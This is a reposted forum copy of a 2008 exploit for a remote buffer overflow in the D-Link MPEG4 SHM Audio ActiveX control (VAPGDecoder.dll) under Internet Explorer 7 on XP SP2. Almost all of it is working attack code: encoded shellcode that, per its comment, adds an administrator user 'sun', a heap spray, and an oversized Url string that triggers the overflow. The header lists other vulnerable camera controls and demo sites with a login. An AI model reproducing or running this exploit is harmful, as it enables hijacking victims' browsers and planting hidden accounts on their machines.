Exploit D-Link MPEG4 SHM Audio Control - 'VAPGDecoder.dll 1.7.0.5' Remote Buffer Overflow

Exploiter · 21 Дек 2022

HTML:

<!--
D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5) remote overflow
exploit (Internet Explorer 7/XP SP2)

check a live camera demonstration here with DCS-5300 camera series:
http://www.dlink.com/products/liveDemo/

This vulnerability affects in various incarnation the following controls:

4xem VatCtrl Class (VATDecoder.dll 1.0.0.51) 
with CLSID: 210D0CBC-8B17-48D1-B294-1A338DD2EB3A
(check demo here: http://www.4xem.com/camerademos/)

RTSP MPEG4 SP Control (RtspVapgDecoderNew.dll 2.0.0.39)
with CLSID: 45830FF9-D9E6-4F41-86ED-B266933D8E90
by level ONE/ VIVOTEK
(check a demo here: http://ebdemo.8800.org:17151/)
user: demo1, password: [no pass]


rgod
-->
<html>
<object classid='clsid:A93B47FD-9BF6-4DA8-97FC-9270B9D64A6C' id='VAPGDECODERLib' />
</object>
<script language='javascript'>
//add su one, user: sun pass: tzu
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +
                     "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +
                     "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +
                     "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +
                     "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +
                     "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +
                     "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +
                     "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +
                     "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +
                     "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +
                     "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +
                     "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +
                     "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +
                     "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +
                     "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +
                     "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +
                     "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +
                     "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +
                     "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +
                     "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +
                     "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +
                     "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +
                     "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +
                     "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +
                     "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +
                     "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +
                     "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +
                     "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +
                     "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +
                     "%u7734%u4734%u4570");
bigblock  = unescape("%u0a0a%u0a0a");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<500;i++){memory[i] = block+shellcode}
bof="http://";
for (i=0;i<9999;i++){bof+=unescape("%u0d0d%u0d0d")}
VAPGDECODERLib.Url = bof;
</script>
</html>

# milw0rm.com [2008-02-26]

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Exploit D-Link MPEG4 SHM Audio Control - 'VAPGDecoder.dll 1.7.0.5' Remote Buffer Overflow

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